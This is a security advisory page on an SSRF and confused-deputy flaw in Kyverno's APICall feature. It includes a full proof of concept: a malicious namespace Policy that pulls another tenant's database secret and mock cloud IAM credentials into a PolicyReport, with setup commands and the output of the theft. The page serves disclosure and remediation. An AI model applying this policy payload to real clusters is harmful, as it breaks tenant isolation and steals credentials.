GHSA-fmqp-4wfc-w3v7 — kyverno
HIGHGHSA-fmqp-4wfc-w3v7 is a high-severity (CVSS 7.7) Server-Side Request Forgery (SSRF) vulnerability in github.com/kyverno/kyverno. A fix is available for github.com/kyverno/kyverno — see the affected versions and patch details below.
Kyverno APICall SSRF Vulnerability Leading to Multi-Tenant Isolation Breach
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-fmqp-4wfc-w3v7.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-fmqp-4wfc-w3v7 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/kyverno/kyvernoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Kyverno's APICall feature contains a Server-Side Request Forgery (SSRF) vulnerability that allows users with Policy creation permissions to access arbitrary internal resources through Kyverno's high-privilege ServiceAccount. In multi-tenant Kubernetes environments, this constitutes a classic Confused Deputy problem: low-privilege tenants can steal sensitive data from other tenants (such as database passwords and API keys) and cloud platform IAM credentials, completely breaking tenant isolation. This vulnerability does not require cluster-admin privileges and can be exploited with only namespace-level Policy creation permissions.
Details
Vulnerability Mechanism
Kyverno's APICall feature allows Policies to fetch external data via HTTP requests. This feature does not validate target URLs when executing HTTP requests, leading to an SSRF vulnerability.
Source Point - User-Controlled URL
File: api/kyverno/v1/common_types.go, lines 247-250
type ServiceCall struct {
// URL is the JSON web service URL
URL string `json:"url"` // User-controlled, no validation
Headers []HTTPHeader `json:"headers,omitempty"`
CABundle string `json:"caBundle,omitempty"`
}
The URL field is completely controlled by users through Policy configuration, with no validation mechanism to restrict target addresses.
Sink Point - HTTP Request Execution
File: pkg/engine/apicall/executor.go, lines 65-110
func (a *executor) executeServiceCall(ctx context.Context, apiCall *kyvernov1.APICall) ([]byte, error) {
if apiCall.Service == nil {
return nil, fmt.Errorf("missing service for APICall %s", [a.name](http://a.name/))
}
client, err := a.buildHTTPClient(apiCall.Service)
if err != nil {
return nil, err
}
req, err := a.buildHTTPRequest(ctx, apiCall)
if err != nil {
return nil, fmt.Errorf("failed to build HTTP request for APICall %s: %w", [a.name](http://a.name/), err)
}
// Line 80: Directly executes HTTP request without URL validation
resp, err := client.Do(req)
if err != nil {
return nil, fmt.Errorf("failed to execute HTTP request for APICall %s: %w", [a.name](http://a.name/), err)
}
defer resp.Body.Close()
// Read and return response content
body, err := io.ReadAll(resp.Body)
if err != nil {
// ...
}
return body, nil
}
Line 80's client.Do(req) directly executes the HTTP request without checking if the target URL is an internal IP address (like 169.254.169.254) or resources belonging to other tenants.
Confused Deputy Problem
In multi-tenant environments, Kyverno uses a cluster-wide high-privilege ServiceAccount to execute all APICall requests. When a low-privilege tenant creates a Policy containing malicious APICall directives, Kyverno executes these requests with its own high privileges, leading to privilege escalation.
Attack path:
Tenant A (namespace-level permissions)
→ Creates malicious Policy
→ Kyverno (cluster-wide high privileges)
→ Accesses Tenant B's Secrets / Cloud metadata service
→ Sensitive data leaked to PolicyReport
→ Tenant A reads PolicyReport to obtain data
PoC
Environment Setup
Prerequisites
- Kubernetes cluster
- Kyverno v1.16.0 installed
- Mock cloud metadata service (optional, for testing cloud credential theft)
Step 1: Install Kyverno
kubectl create namespace kyverno
kubectl create -f https://github.com/kyverno/kyverno/releases/download/v1.16.0/install.yaml
kubectl wait --for=condition=Ready pods --all -n kyverno --timeout=300s
Verify installation:
$ kubectl get pods -n kyverno
NAME READY STATUS RESTARTS AGE
kyverno-admission-controller-5c84845f5-28hz5 1/1 Running 0 2m
kyverno-background-controller-59b7b8d686-7pqxl 1/1 Running 0 2m
kyverno-cleanup-controller-5fd988d64f-nsgdb 1/1 Running 0 2m
kyverno-reports-controller-546cb78fbc-2dd74 1/1 Running 0 2m
Step 2: Deploy Mock Metadata Service
Create file metadata-mock.yaml:
apiVersion: v1
kind: Namespace
metadata:
name: metadata-mock
---
apiVersion: apps/v1
kind: Deployment
metadata:
name: metadata-mock
namespace: metadata-mock
spec:
replicas: 1
selector:
matchLabels:
app: metadata-mock
template:
metadata:
labels:
app: metadata-mock
spec:
containers:
- name: mock-server
image: python:3.9-slim
command: ["python", "-c"]
args:
- |
import http.server
import socketserver
import json
class Handler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
if 'iam/security-credentials/test-role' in self.path:
self.send_response(200)
self.send_header('Content-type', 'application/json')
self.end_headers()
creds = {
"AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"Token": "SimulatedSessionToken123456",
"Expiration": "2025-12-31T23:59:59Z"
}
self.wfile.write(json.dumps(creds).encode())
else:
self.send_response(404)
self.end_headers()
with socketserver.TCPServer(("", 80), Handler) as httpd:
httpd.serve_forever()
ports:
- containerPort: 80
---
apiVersion: v1
kind: Service
metadata:
name: metadata-mock
namespace: metadata-mock
spec:
selector:
app: metadata-mock
ports:
- port: 80
targetPort: 80
Deploy:
kubectl apply -f metadata-mock.yaml
kubectl wait --for=condition=Ready pods --all -n metadata-mock --timeout=120s
Step 3: Create Multi-Tenant Environment
Create two tenant namespaces:
kubectl create namespace tenant-a
kubectl create namespace tenant-b
Create sensitive data in tenant-b:
kubectl create secret generic db-credentials -n tenant-b \
--from-literal=username=admin \
--from-literal=password=SuperSecret123! \
--from-literal=database=production-db
Create restricted ServiceAccount for tenant-a:
kubectl create serviceaccount tenant-a-admin -n tenant-a
Create file tenant-a-rbac.yaml:
apiVersion: [rbac.authorization.k8s.io/v1](http://rbac.authorization.k8s.io/v1)
kind: Role
metadata:
name: policy-creator
namespace: tenant-a
rules:
- apiGroups: ["[kyverno.io](http://kyverno.io/)"]
resources: ["policies"]
verbs: ["create", "get", "list", "update", "patch", "delete"]
- apiGroups: [""]
resources: ["configmaps"]
verbs: ["create", "get", "list"]
- apiGroups: ["[wgpolicyk8s.io](http://wgpolicyk8s.io/)"]
resources: ["policyreports"]
verbs: ["get", "list"]
---
apiVersion: [rbac.authorization.k8s.io/v1](http://rbac.authorization.k8s.io/v1)
kind: RoleBinding
metadata:
name: tenant-a-policy-creator
namespace: tenant-a
roleRef:
apiGroup: [rbac.authorization.k8s.io](http://rbac.authorization.k8s.io/)
kind: Role
name: policy-creator
subjects:
- kind: ServiceAccount
name: tenant-a-admin
namespace: tenant-a
Apply configuration:
kubectl apply -f tenant-a-rbac.yaml
Step 4: Verify Permission Isolation
Create test Pod:
kubectl run tenant-a-test -n tenant-a \
--image=bitnami/kubectl:latest \
--serviceaccount=tenant-a-admin \
--command -- sleep 3600
Verify tenant-a cannot directly access tenant-b:
$ kubectl exec -n tenant-a tenant-a-test -- kubectl get secrets -n tenant-b
Error from server (Forbidden): secrets is forbidden: User "system:serviceaccount:tenant-a:tenant-a-admin" cannot list resource "secrets" in API group "" in the namespace "tenant-b"
This confirms that tenant-a's ServiceAccount indeed cannot directly access tenant-b's resources.
Exploitation
Step 1: Create Malicious Policy
Create file confused-deputy-attack.yaml:
apiVersion: [kyverno.io/v1](http://kyverno.io/v1)
kind: Policy
metadata:
name: confused-deputy-attack
namespace: tenant-a
spec:
background: true
validationFailureAction: Audit
rules:
- name: steal-tenant-b-secrets
match:
any:
- resources:
kinds:
- ConfigMap
context:
- name: tenantBSecrets
apiCall:
method: GET
urlPath: "/api/v1/namespaces/tenant-b/secrets/db-credentials"
validate:
message: "STOLEN TENANT-B SECRETS - Username: {{ tenantBSecrets.data.username | base64_decode(@) }}, Password: {{ tenantBSecrets.data.password | base64_decode(@) }}, Database: {{ tenantBSecrets.data.database | base64_decode(@) }}"
pattern:
metadata:
labels:
force-fail: "true"
- name: steal-cloud-credentials
match:
any:
- resources:
kinds:
- ConfigMap
context:
- name: cloudCreds
apiCall:
method: GET
service:
url: "http://metadata-mock.metadata-mock.svc.cluster.local/latest/meta-data/iam/security-credentials/test-role"
validate:
message: "STOLEN CLOUD CREDENTIALS - AccessKeyId: {{ cloudCreds.AccessKeyId }}, SecretAccessKey: {{ cloudCreds.SecretAccessKey }}"
pattern:
metadata:
labels:
force-fail-cloud: "true"
Apply Policy:
$ kubectl apply -f confused-deputy-attack.yaml
[policy.kyverno.io/confused-deputy-attack](http://policy.kyverno.io/confused-deputy-attack) created
Step 2: Trigger Policy Execution
Create ConfigMap to trigger Policy:
$ kubectl create configmap attack-trigger -n tenant-a --from-literal=trigger=now
configmap/attack-trigger created
Step 3: View Stolen Data
After a few seconds, check PolicyReport:
$ kubectl get policyreport -n tenant-a -o yaml | grep -A 5 "STOLEN"
Actual output:
- message: 'validation error: STOLEN TENANT-B SECRETS - Username: admin, Password:
SuperSecret123!, Database: production-db. rule steal-tenant-b-secrets failed
at path /metadata/labels/'
policy: tenant-a/confused-deputy-attack
result: fail
rule: steal-tenant-b-secrets
--
- message: 'validation error: STOLEN CLOUD CREDENTIALS - AccessKeyId: AKIAIOSFODNN7EXAMPLE,
SecretAccessKey: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY. rule steal-cloud-credentials
failed at path /metadata/labels/'
policy: tenant-a/confused-deputy-attack
result: fail
rule: steal-cloud-credentials
Attack successful. Tenant-a has stolen through Kyverno:
- Tenant-b's database credentials (username: admin, password: SuperSecret123!, database: production-db)
- Cloud platform IAM credentials (AccessKeyId and SecretAccessKey)
Step 4: Verify Kyverno Logs
Check Kyverno admission controller logs:
$ kubectl logs -n kyverno deployment/kyverno-admission-controller --tail=100 | grep -i "apicall"
2026-01-06T14:40:34Z INFO DefaultContextLoaderFactory apicall/apiCall.go:151 executed service APICall {"name": "cloudCredentials", "len": 180}
Logs show APICall executed successfully, returning 180 bytes of data (exactly the JSON length of the mock credentials).
Impact
This is a critical security vulnerability with particularly severe impact in multi-tenant Kubernetes environments.
Affected Environments
- All multi-tenant Kubernetes clusters using Kyverno
- Environments granting users namespace-level Policy creation permissions
- Clusters running on cloud platforms (AWS EKS, GCP GKE, Azure AKS)
Vulnerability Impact
-
Complete Multi-Tenant Isolation Breach
- Tenants can read other tenants' Secrets (database passwords, API keys, etc.)
- Tenants can access other tenants' ConfigMaps and other resources
- Completely violates security assumptions of multi-tenant environments
-
Cloud Platform Credential Leakage
- Can access cloud metadata service (169.254.169.254)
- Obtain node IAM role credentials
- Use these credentials to access cloud platform resources (S3, RDS, GCS, etc.)
-
Lateral Movement
- Extend from Kubernetes cluster permissions to cloud platform resource access
- Potentially access other tenants' cloud resources
- Further penetration in cloud environments
-
Confused Deputy Problem
- Low-privilege users leverage high-privilege proxy (Kyverno) to execute privileged operations
- Bypass RBAC permission controls
- Difficult to trace actual attackers through audit logs
Severity Assessment
- CVSS 3.1 Score: 8.5 (Critical)
- CWE Classification: CWE-918 (Server-Side Request Forgery)
In multi-tenant environments, the severity of this vulnerability is much higher than in single-tenant environments because it does not require cluster-admin privileges and can be exploited with only namespace-level Policy creation permissions.
Real-World Scenario Risks
Scenario 1: SaaS Multi-Tenant Platform
- Each customer has one namespace
- Customer A can steal Customer B's database passwords and API keys
- Leads to data breaches, compliance violations, loss of customer trust
Scenario 2: Enterprise Internal Multi-Team Shared Cluster
- Different business teams share one Kubernetes cluster
- Team A can steal Team B's production database credentials
- Leads to internal data breaches, production incidents
Scenario 3: Cloud Platform Managed Kubernetes
- Running on AWS EKS, GCP GKE, Azure AKS
- Tenants can obtain node IAM role credentials
- Access cloud platform resources, lateral movement to cloud environment
Remediation Recommendations
Immediate measures:
- Disable APICall feature in multi-tenant environments
- Restrict Policy creation permissions to cluster-admin only
- Use NetworkPolicy to restrict Kyverno Pod egress traffic
Long-term fixes:
- Add URL validation in executeServiceCall function to block internal IP addresses
- Use separate low-privilege ServiceAccount for APICall
- Implement URL whitelist mechanism
- Audit and monitor all APICall requests
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/kyverno/kyverno | all versions | 1.16.2go get github.com/kyverno/kyverno@v1.16.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/kyverno/kyverno, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/kyverno/kyverno to 1.16.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fmqp-4wfc-w3v7 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-fmqp-4wfc-w3v7 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-fmqp-4wfc-w3v7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-fmqp-4wfc-w3v7 in your dependencies?
O3 Security finds GHSA-fmqp-4wfc-w3v7 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.